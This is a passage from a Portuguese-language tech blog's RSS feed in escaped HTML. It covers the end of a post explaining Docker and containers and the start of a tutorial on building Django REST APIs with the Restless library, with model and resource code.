/static/b7427364000354866ddc3d4a700b811d/e17e5/docker-hypervisor-virtualization.png 400w&quot;
        sizes=&quot;(max-width: 400px) 100vw, 400px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama de virtualização por hypervisor (udemy.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para cada máquina virtual, é necessário um Sistema Operacional instalado e configurado, bem como
a própria aplicação.&lt;/p&gt;
&lt;p&gt;Agora somos capazes de reaproveitar o processador, memória e banda de rede, reduzindo consideravelmente o custo.
Essa &quot;abstração&quot; que há entre a aplicação e o &lt;em&gt;hardware&lt;/em&gt; permite maior flexibilidade quando houver a necessidade
de escalar ou migrar a aplicação para outra máquina física.&lt;/p&gt;
&lt;p&gt;Bom! Mas e se pudéssemos compartilhar o mesmo Sistema Operacional para as 3 &lt;em&gt;apps&lt;/em&gt; ilustradas acima, mas ainda assim
mantê-las isoladas?&lt;/p&gt;
&lt;h3&gt;Containers&lt;/h3&gt;
&lt;p&gt;Segundo o &lt;em&gt;ZDNet&lt;/em&gt;, &lt;em&gt;containers&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) use shared operating systems. That means they are much more efficient than hypervisors
in system resource terms. Instead of virtualizing hardware, containers rest on top of a single
Linux instance. This in turn means you can leave behind the useless 99.9% VM junk, leaving you
with a small, neat capsule containing your application.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Através de &lt;em&gt;Containers&lt;/em&gt; é possível utilizar o conceito de virtualização, só que de uma
maneira diferente: Não temos mais um Sistema Operacional por ambiente virtualizado,
e sim compartilhamos os mesmos recursos do Sistema Operacional da máquina hospedeira:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9ea3fb8893942fb7fe069f2b415bf160/e17e5/docker-containers.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.895833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgklEQVQoz12O609ScRjH+Yt60So3s7ZemFfCLFO0uCqXoFDhAApeK8GA0qEcDqE5HYJbKVJeygykQiFJLh5Ae9lmL3KChgdFzvl1Zpel3333ffHs+TzPlwKORRAEmVtb353r7ZObza7N1rEII7KzAMLD2df0nLv5yFVNxIYOPBN7XeXpAeGepioNiykoii77fH7/SjAYjEbWbSHR8yjdjgr7A1cCP6ZB4MnBeH52hnE4eg5fM2Bz1qT4zG7PzWTjeTIp6XQ6lUqSwjBsYyMxFZU74kwHyh4N3whtT4IQgr8sBtOVgMxwX3ZhBFNezrQXZdSFGR2d8n/tVGrXho4hUaN13WQK62e/rXyNvEUXe1GvMb7YG0ffRD+8W4XVq8OaVUtXyGGkEMfCSZggsjihQAEnCARrgP8FCIKHEJpt3QAtCSCLA3XsqCWRZccACwWMGLibAH8/H2cOx60zXq1t1jAxr3fMDzjdZteS2eWBnW6T04288pqmPAb7PGn9+Nzgi8UTtXEcR4YcD7QmrcHSo0MGEZt5yGGy2OBndtgyDlvtRnhMo0dI9+jMT40jJ+BcDhcqdSW3pRUcJZUFlTNkXJlGrDLUQ5oGea9A+ZjKlNHYchpbQWXKa0Wdp+AcXdh2oZRzicYvrm2ksaBiuqSCLWdJuq9zFIU194vokovXeAU0fj61oaSu6TRczVedvcosoPFu8VWVXEUZQ1rFUzV39t+510lu14k6yIt5Zdy8Ui5563Ttpo6+yvqWWlGHWKWXdvU3QBqu9BE55EFapqSbB2k4TQ9rhG23BGpy/gf+JyxzkN7HyNzeSfqW/Z4lrz/wmfTHT773bo9vJbD7c38fy/z2L9VE8XnxbY2HAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de containerização (udemy.com)&amp;quot;&quot;
        title=&quot;Diagrama de containerização (udemy.com)&quot;
        src=&quot;/static/9ea3fb8893942fb7fe069f2b415bf160/e17e5/docker-containers.png&quot;
        srcset=&quot;/static/9ea3fb8893942fb7fe069f2b415bf160/8514f/docker-containers.png 192w,
/static/9ea3fb8893942fb7fe069f2b415bf160/804b2/docker-containers.png 384w,
/static/9ea3fb8893942fb7fe069f2b415bf160/e17e5/docker-containers.png 400w&quot;
        sizes=&quot;(max-width: 400px) 100vw, 400px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama de containerização (udemy.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Com isso reduzimos ainda mais os custos de operação, além de proporcionar um tempo ainda menor
de &lt;em&gt;deployment&lt;/em&gt; de uma nova aplicação. Agora, do ponto de vista da aplicação, precisamos apenas
do &lt;em&gt;app&lt;/em&gt; instalado e configurado.&lt;/p&gt;
&lt;h2&gt;Enfim: O que é Docker?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Docker&lt;/em&gt; é uma ferramenta &lt;em&gt;open source&lt;/em&gt;, responsável por tornar fácil a criação, &lt;em&gt;deploy&lt;/em&gt; e execução
de aplicações através do uso de &lt;em&gt;containers&lt;/em&gt;. Com a containerização &lt;em&gt;Docker&lt;/em&gt;, o desenvolver pode
empacotar a aplicação com todas as suas dependências, e distribuí-la através de um pacote único. Esse
pacote único executará em qualquer máquina &lt;em&gt;Linux&lt;/em&gt; (com &lt;em&gt;Docker&lt;/em&gt;, claro), podendo ser o seu ambiente
de desenvolvimento local, seu &lt;a href=&quot;/2011/03/07/diferentes-ambientes.html&quot; title=&quot;Development, staging e production&quot;&gt;ambiente de testes e homologação&lt;/a&gt;,
ou até mesmo o ambiente de produção.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5d152fc2a3973376025d04527b1dd2ac/6af66/iron-man-containers.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 53.645833333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNUlEQVQoz1WQy27TQBSGLZH4NrbH9sT22HFmPPZ4fIlzqUmipm0CEZfSglqVVkIVZQH0FbpB7NiwYwk7XoDX4L0wSEggfTo60tH3n6Mj9TTY0dfsv8A/2D3VuqeYXa8CVzVcRbf7itFX9H/QJA0Gpu3JwOnpTl93ZN1VAJJ1ZLqxH3MdYkVDKkCK9p8sq7oODGm+t6hKIXcm8GTDUwxfM3FP8yI2Ptw+Mpyop9i/p6rZVzsZdBGyaurAGiAk1WWZjkLLBJoVyEagWVi3AjegtNhfbK8GUWWjUNGgokNFs7oKDMewkGk6DoTSxckuJ6FnaXnG3CAFVgggtgejzdObz19+8PEGugEwkAYcHUDHRoLzMIwjPBxiLFGMwgFE0KCRF8UMIoq8bu39+eZ0eXRO04mPiQV9lgnsB3EUiYzXoqpFySmRWOSxoR95ztBHnIuYFCnN87rN56tBQOM4GQ2JP8Aiyzgd5QkpeTYpq5rnBUuk7mZBMIvDGOMy49fPHny6fblbtDytOyel5N3zzfuToyalkyKbVGJal+NCcJpwQiU+Cosk4iQuMrY3bj68vfr57eOr3UFCOTQhJ8Ovd2++371elmw5b9aL+XrZNmVJwjAbxVJbsakg3ccbkbaz9nR/eftktW5ElxV6PonCh+3seDkt0vRg1T7ebc9fHLfTScFYlSbS2bY6nLGak5zR/Vm1qPIHe/UkJVWejiKckIQnaZOLgue77eHlxdnN9eVmvZqWxXLa/AIx/FMejNtxiQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Vim falar de Docker mas só encontrei containers (marvelcinematicuniverse.wikia.com)&amp;quot;&quot;
        title=&quot;Vim falar de Docker mas só encontrei containers (marvelcinematicuniverse.wikia.com)&quot;
        src=&quot;/static/5d152fc2a3973376025d04527b1dd2ac/6af66/iron-man-containers.png&quot;
        srcset=&quot;/static/5d152fc2a3973376025d04527b1dd2ac/8514f/iron-man-containers.png 192w,
/static/5d152fc2a3973376025d04527b1dd2ac/804b2/iron-man-containers.png 384w,
/static/5d152fc2a3973376025d04527b1dd2ac/6af66/iron-man-containers.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Vim falar de Docker mas só encontrei containers (marvelcinematicuniverse.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se até aqui você achou o &lt;em&gt;Docker&lt;/em&gt; semelhante ao &lt;a href=&quot;/2015/10/03/esse-e-mais-um-post-sobre-vagrant.html&quot; title=&quot;Esse é mais um post sobre Vagrant&quot;&gt;&lt;em&gt;Vagrant&lt;/em&gt;&lt;/a&gt;,
você não está de todo errado. A principal diferença é justamente o conceito de &lt;em&gt;containers&lt;/em&gt;: &lt;em&gt;Docker&lt;/em&gt; permite
que aplicações utilizem o mesmo &lt;em&gt;kernel&lt;/em&gt; &lt;em&gt;Linux&lt;/em&gt; da máquina hospedeira, reduzindo drasticamente o
tamanho da aplicação e reduzindo o consumo de recursos da máquina hospedeira.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Docker&lt;/em&gt; é no fim das contas uma ferramenta extremamente útil, e que possui umas das comunidades mais
ativas e empenhadas no momento. Ferramentas de &lt;em&gt;PaaS&lt;/em&gt; como o &lt;a href=&quot;https://tsuru.io/&quot; title=&quot;Extensible and open source Platform as a Service&quot;&gt;&lt;em&gt;Tsuru&lt;/em&gt;&lt;/a&gt;
utilizam &lt;em&gt;Docker&lt;/em&gt; ativamente e servem inúmeros serviços e aplicações nesse exato momento.&lt;/p&gt;
&lt;p&gt;Se até aqui você não está bem certo sobre o que é de fato o &lt;em&gt;Docker&lt;/em&gt;, não se preocupe! Na parte 2 falaremos mais
sobre a ferramenta (e menos sobre o conceito) de uma forma bem prática.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://opensource.com/resources/what-docker&quot;&gt;&lt;em&gt;Opensource.com - What is Docker?&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://searchservervirtualization.techtarget.com/definition/hypervisor&quot;&gt;&lt;em&gt;TechTarget - Hypervisor definition&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.zdnet.com/article/what-is-docker-and-why-is-it-so-darn-popular/&quot;&gt;&lt;em&gt;ZDNet - What is Docker and why is it so darn popular?&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Construindo APIs em Django com Restless]]></title><description><![CDATA[Construir APIs REST em
Django nos dias atuais é uma
tarefa no máximo corriqueira. Com a ajuda de bibliotecas consagradas, como
Django REST…]]></description><link>https://klauslaube.com.br/2017/01/06/construindo-apis-em-django-com-restless.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/01/06/construindo-apis-em-django-com-restless.html</guid><pubDate>Fri, 06 Jan 2017 10:45:00 GMT</pubDate><content:encoded>&lt;p&gt;Construir &lt;em&gt;APIs&lt;/em&gt; &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt; em
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; nos dias atuais é uma
tarefa no máximo corriqueira. Com a ajuda de bibliotecas consagradas, como
&lt;a href=&quot;http://www.django-rest-framework.org/&quot;&gt;&lt;em&gt;Django REST Framework&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;https://django-tastypie.readthedocs.io/en/latest/&quot;&gt;&lt;em&gt;Tastypie&lt;/em&gt;&lt;/a&gt;,
e utilizando toda a abstração que envolve os &lt;em&gt;Models&lt;/em&gt; do &lt;em&gt;framework&lt;/em&gt;, é
possível ter &lt;em&gt;endpoints&lt;/em&gt; respondendo em questão de minutos.&lt;/p&gt;
&lt;p&gt;Mas existem alternativas que são capazes de tornar esse processo ainda
mais prático, e com uma curva de aprendizado um pouquinho menor. Nesse
seleto grupo, uma biblioteca que me agrada é o &lt;a href=&quot;https://github.com/toastdriven/restless&quot;&gt;&lt;em&gt;Restless&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Por que Restless (e não as outras)?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/toastdriven&quot;&gt;&lt;em&gt;Daniel Lindsley&lt;/em&gt;&lt;/a&gt; (também conhecido como &lt;em&gt;Toast Driven&lt;/em&gt;),
um dos criadores do &lt;em&gt;Tastypie&lt;/em&gt; (famosa biblioteca &lt;em&gt;Django&lt;/em&gt; para construção de &lt;em&gt;APIs RESTful&lt;/em&gt;),
também é criador do &lt;em&gt;Restless&lt;/em&gt;. Segundo ele, o que o motivou a escrever uma alternativa ao &lt;em&gt;Tastypie&lt;/em&gt; foi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quite simply, I care about creating flexible &amp;#x26; RESTFul APIs. In building Tastypie, I tried
to create something extremely complete &amp;#x26; comprehensive. The result was writing a lot of hook
methods (for easy extensibility) &amp;#x26; a lot of (perceived) bloat, as I tried to accommodate for
everything people might want/need in a flexible/overridable manner.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Não há dúvidas que as duas bibliotecas citadas no início desse artigo são extremamente completas.
Se você estiver procurando um &lt;em&gt;engine&lt;/em&gt; poderoso para a criação de &lt;em&gt;APIs&lt;/em&gt; em &lt;em&gt;Django&lt;/em&gt;, pule logo
para a &lt;a href=&quot;http://www.django-rest-framework.org/tutorial/quickstart/&quot; title=&quot;Comece agora com o REST Framework&quot;&gt;documentação do &lt;em&gt;Django REST Framework&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mas nem sempre precisamos de todo esse poderio para dar vida ao nosso projeto. E é exatamente
com esse posicionamento que &lt;em&gt;Daniel&lt;/em&gt; fecha o seu argumento:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But in reality, all I really ever personally want are the RESTful verbs, JSON serialization &amp;#x26;
the ability of override behavior.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Se assim como o autor você só precisa dos verbos &lt;em&gt;HTTP&lt;/em&gt;, serialização &lt;em&gt;JSON&lt;/em&gt; e uma leve camada
de customização, talvez o &lt;em&gt;Restless&lt;/em&gt; seja tudo o que você necessita.&lt;/p&gt;
&lt;p&gt;Por último mas não menos importante: O &lt;em&gt;Restless&lt;/em&gt;, é &quot;framework agnostic&quot; e funciona com &lt;em&gt;Django&lt;/em&gt;,
&lt;em&gt;Flask&lt;/em&gt;, &lt;em&gt;Pyramid&lt;/em&gt; e &lt;em&gt;Tornado&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Mão na massa&lt;/h2&gt;
&lt;p&gt;Lembra do nosso &quot;mini IMDB&quot;, lá do &lt;a href=&quot;/2016/05/20/rest-parte-2.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;? Vamos aproveitar a temática para exemplificar
o uso de &lt;em&gt;Restless&lt;/em&gt; com &lt;em&gt;Django&lt;/em&gt;. Mas antes, aquele &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; &quot;de leve&quot; para instalar o pacote:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install restless&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não é necessária a adição da biblioteca ao &lt;code class=&quot;language-text&quot;&gt;settings.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Relembrando o exemplo do &lt;em&gt;post&lt;/em&gt; anterior, precisaremos construir os seguintes recursos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies&lt;/code&gt;: Trará uma lista de filmes&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;POST /movies&lt;/code&gt;: Adicionará um novo filme ao banco de dados&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies/{id}&lt;/code&gt;: Trará um filme específico&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;PUT /movies/{id}&lt;/code&gt;: Atualizará um filme específico&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;DELETE /movies/{id}&lt;/code&gt;: Removerá um filme específico do banco de dados&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para tanto, teremos um &lt;em&gt;model&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt; similar ao abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/models.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; uuid
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; models


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;UUIDField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;primary_key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; default&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;uuid&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid4&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; editable&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;blank&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; null&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podemos partir agora para a criação dos &lt;em&gt;resources&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Resourcers e Preparers&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Resources&lt;/em&gt; são classes que descrevem um recurso &lt;em&gt;REST&lt;/em&gt;, dentro do &lt;em&gt;Restless&lt;/em&gt;. É através deles
que definiremos &lt;em&gt;endpoints&lt;/em&gt; e todos os verbos suportados. Já os &lt;em&gt;Preparers&lt;/em&gt; fazem
o papel do &quot;mapping&quot; do objeto que você está expondo na API.&lt;/p&gt;
&lt;p&gt;Para começar, vamos criar um arquivo &lt;code class=&quot;language-text&quot;&gt;api.py&lt;/code&gt; dentro do nosso &lt;em&gt;app&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# movies/api.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; restless&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dj &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; DjangoResource
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; restless&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;preparers &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; FieldsPreparer

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; movies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;models &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Movie


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MovieResource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DjangoResource&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    preparer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; FieldsPreparer&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fields&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Movie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;DjangoResource&lt;/code&gt; é um &lt;em&gt;Resource&lt;/em&gt; &lt;em&gt;Restless&lt;/em&gt; com algumas &quot;facilidades&quot; para funcionar dentro do
framework &lt;em&gt;Django&lt;/em&gt;. Uma dessas facilidades é o roteamento (que veremos logo abaixo).&lt;/p&gt;
&lt;p&gt;Todo recurso precisa de um atributo &lt;code class=&quot;language-text&quot;&gt;preparer&lt;/code&gt;, é através dele que o &lt;em&gt;Resource&lt;/em&gt; fará o &quot;de-para&quot;
dos campos no seu banco dados, e os campos que serão exibidos em sua &lt;em&gt;API&lt;/em&gt;. Nesse caso
estamos utilizando o &lt;code class=&quot;language-text&quot;&gt;FieldsPreparer&lt;/code&gt;, e através de um dicionário (onde a chave é o nome do campo
na &lt;em&gt;API&lt;/em&gt; e o valor é o caminho para o dado) fazemos o mapeamento necessário para expor os
dados do recurso.&lt;/p&gt;
&lt;p&gt;O método &lt;code class=&quot;language-text&quot;&gt;list&lt;/code&gt; será o responsável por responder uma rota &lt;code class=&quot;language-text&quot;&gt;GET /movies/&lt;/code&gt; em nosso projeto. Aqui já
podemos ver o conceito de &lt;em&gt;BYOD&lt;/em&gt; (&lt;em&gt;Bring Your Own Data&lt;/em&gt;) em ação. O &lt;em&gt;Restless&lt;/em&gt; não &quot;introspecta&quot;
os seus &lt;em&gt;models&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt; para entender o que e como ele deve expor dados. É necessário que
você faça isso explicitamente... é esse princípio que torna fácil o trabalho da biblioteca com outros
&lt;em&gt;frameworks&lt;/em&gt; e bancos de dados.&lt;/p&gt;
&lt;p&gt;Falta atualizar o &lt;code class=&quot;language-text&quot;&gt;urls.py&lt;/code&gt; para que o &lt;em&gt;Django&lt;/em&gt; possa fazer o roteamento dos endereços
com as &lt;em&gt;views&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# urls.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;conf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; include

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; movies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;api &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; MovieResource

urlpatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
